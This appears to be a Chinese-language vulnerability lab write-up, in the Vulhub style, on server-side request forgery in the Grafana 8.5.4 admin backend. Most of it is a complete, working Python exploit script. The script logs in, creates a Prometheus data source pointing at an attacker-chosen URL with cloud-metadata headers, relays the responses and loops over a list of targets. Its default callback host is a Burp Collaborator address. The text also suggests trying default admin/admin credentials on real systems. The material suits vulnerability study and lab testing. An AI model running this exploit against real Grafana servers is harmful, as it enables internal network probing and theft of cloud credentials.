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221 lines
8.9 KiB
Markdown
221 lines
8.9 KiB
Markdown
# Grafana管理后台SSRF
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## 漏洞描述
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Grafana是一个开源的度量分析与可视化套件。在其管理后台中存在一个功能，攻击者可以用于向任意地址发送HTTP请求，且支持自定义HTTP Header。
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参考链接：
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- https://github.com/RandomRobbieBF/grafana-ssrf
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## 漏洞环境
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Vulhub执行如下命令启动一个Grafana 8.5.4：
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```
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:3000`即可查看到管理后台。这个管理后台是不需要登录的，因为Vulhub环境设置了匿名用户的权限：
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```
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[auth.anonymous]
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enabled = true
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org_role = Admin
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```
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在真实场景中，如果你没有权限访问管理界面，可以尝试使用默认账号密码`admin`和`admin`，只能能够成功登录后台的用户才能利用这个漏洞。
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## 漏洞复现
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使用[这个POC](https://github.com/RandomRobbieBF/grafana-ssrf)来复现SSRF漏洞：
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```
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python grafana-ssrf.py -H http://your-ip:3000 -u http://example.com/attack
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```
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可见，反连平台已成功收到了HTTP请求：
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## 漏洞POC
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```python
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#!/usr/bin/env python
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#
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# Grafana SSRF via promoethus
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#
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# Note: SSRF will not follow redirects!
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#
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# By @RandomRobbieBF
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#
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#
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import requests
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import json
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import sys
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import argparse
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import re
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import os.path
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import json
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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session = requests.Session()
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parser = argparse.ArgumentParser()
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parser.add_argument("-s", "--session", required=False ,default="9765ac114207245baf67dfd2a5e29f3a",help="Session Cookie Value")
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parser.add_argument("-u", "--url", required=False, default="http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net",help="URL of host to check will need http or https")
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parser.add_argument("-H", "--host", default="http://kubernetes.docker.internal:5000",required=True, help="Host for Grafana")
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parser.add_argument("-f", "--file", default="urls.txt",required=False, help="File of URLS to check SSRF Against")
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parser.add_argument("-U", "--username", default="",required=False, help="Username for Grafana")
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parser.add_argument("-P", "--password", default="",required=False, help="Password for Grafana")
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parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging")
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args = parser.parse_args()
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ssrf_url = args.url
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sessionid = args.session
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ghost = args.host
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files = args.file
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username = args.username
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password = args.password
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if args.proxy:
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http_proxy = args.proxy
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os.environ['HTTP_PROXY'] = http_proxy
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os.environ['HTTPS_PROXY'] = http_proxy
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def create_source(sessionid,ssrf_url,ghost):
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rawBody = "{\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"access\":\"proxy\",\"isDefault\":false}"
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headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/new","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
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cookies = {"grafana_session":""+sessionid+""}
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response = session.post(""+ghost+"/api/datasources", data=rawBody, headers=headers, cookies=cookies,verify=False)
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y = json.loads(response.text)
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if "Data source with same name already exists" in response.text:
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print("You will need to manually delete the current source that is named SSRF-TESTING")
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sys.exit(0)
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elif "id" in response.text:
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print("Source Created")
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return (y["id"])
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else:
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print ("Error:")
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print("Status code: %i" % response.status_code)
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print(response.text)
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def refresh_source(ghost,sessionid,id):
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headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
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cookies = {"grafana_session":""+sessionid+""}
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response = session.get(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
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if response.status_code == 200:
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print("Refreshed Sources")
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else:
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print("Error:")
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print("Status code: %i" % response.status_code)
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print(response.text)
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delete_source(sessionid,id,ghost)
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def create_ssrf(sessionid,ssrf_url,ghost,id):
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rawBody = "{\"id\":"+id+",\"orgId\":1,\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"typeLogoUrl\":\"\",\"access\":\"proxy\",\"url\":\""+ssrf_url+"\",\"password\":\"test\",\"user\":\"test\",\"database\":\"test\",\"basicAuth\":false,\"basicAuthUser\":\"\",\"basicAuthPassword\":\"\",\"withCredentials\":false,\"isDefault\":false,\"jsonData\":{\"tlsSkipVerify\":true,\"httpHeaderName1\":\"Metadata-Flavor\",\"httpHeaderName2\":\"Metadata\",\"httpMethod\":\"GET\"},\"secureJsonData\":{\"httpHeaderValue1\":\"Google\",\"httpHeaderValue2\":\"true\"},\"version\":1,\"readOnly\":false}"
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headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
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cookies = {"grafana_session":""+sessionid+""}
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response = session.put(""+ghost+"/api/datasources/"+id+"", data=rawBody, headers=headers, cookies=cookies,verify=False)
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if response.status_code == 200:
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print("SSRF Source Updated")
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else:
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print("Error:")
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print("Status code: %i" % response.status_code)
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print(response.text)
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delete_source(sessionid,id,ghost)
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def check_ssrf(sessionid,id,ghost,ssrf_url):
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headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/"+id+"/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","x-grafana-nocache":"true"}
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cookies = {"grafana_session":""+sessionid+""}
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response = session.get(""+ghost+"/api/datasources/proxy/"+id+"/", headers=headers, cookies=cookies,verify=False)
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if response.status_code != 502:
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print("Status code: %i" % response.status_code)
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print("Response body:\n %s" % response.text)
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gghost = ghost.partition('://')[2]
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sub_addr = gghost.partition('.')[0]
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text_file = open(""+sub_addr+".txt", "a")
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text_file.write("SSRF URL: %s\n" % ssrf_url)
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text_file.write("Status code: %i\n" % response.status_code)
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text_file.write("Response body: %s\n\n\n\n" % response.text)
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text_file.close()
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delete_source(sessionid,id,ghost)
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else:
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print("Error:")
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print(response.text)
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delete_source(sessionid,id,ghost)
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def delete_source(sessionid,id,ghost):
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headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/3/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
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cookies = {"grafana_session":""+sessionid+""}
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response = session.delete(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
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if "Data source deleted" in response.text:
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print("Deleted Old SSRF Source")
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else:
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print("Error:")
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print(response.text)
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sys.exit(0)
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def login(ghost,username,password):
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rawBody = "{\"user\":\""+username+"\",\"password\":\""+password+"\",\"email\":\"\"}"
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headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/signup","Connection":"close","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
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cookies = {"redirect_to":"%2F"}
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response = session.post(""+ghost+"/login", data=rawBody, headers=headers, cookies=cookies,verify=False)
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if "grafana_session" in response.cookies:
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return response.cookies["grafana_session"]
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if "grafana_sess" in response.cookies:
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return response.cookies["grafana_sess"]
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else:
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print("Login Session Cookie not set")
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sys.exit(0)
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if username:
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sessionid = login(ghost,username,password)
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if ssrf_url:
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i = create_source (sessionid,ssrf_url,ghost)
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id = str(i)
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refresh_source(ghost,sessionid,id)
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create_ssrf(sessionid,ssrf_url,ghost,id)
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check_ssrf(sessionid,id,ghost,ssrf_url)
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if files:
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if os.path.exists(files):
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with open(files, 'r') as f:
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for line in f:
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ssrf_url = line.replace("\n","")
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i = create_source (sessionid,ssrf_url,ghost)
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id = str(i)
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refresh_source(ghost,sessionid,id)
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create_ssrf(sessionid,ssrf_url,ghost,id)
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check_ssrf(sessionid,id,ghost,ssrf_url)
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f.close()
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```
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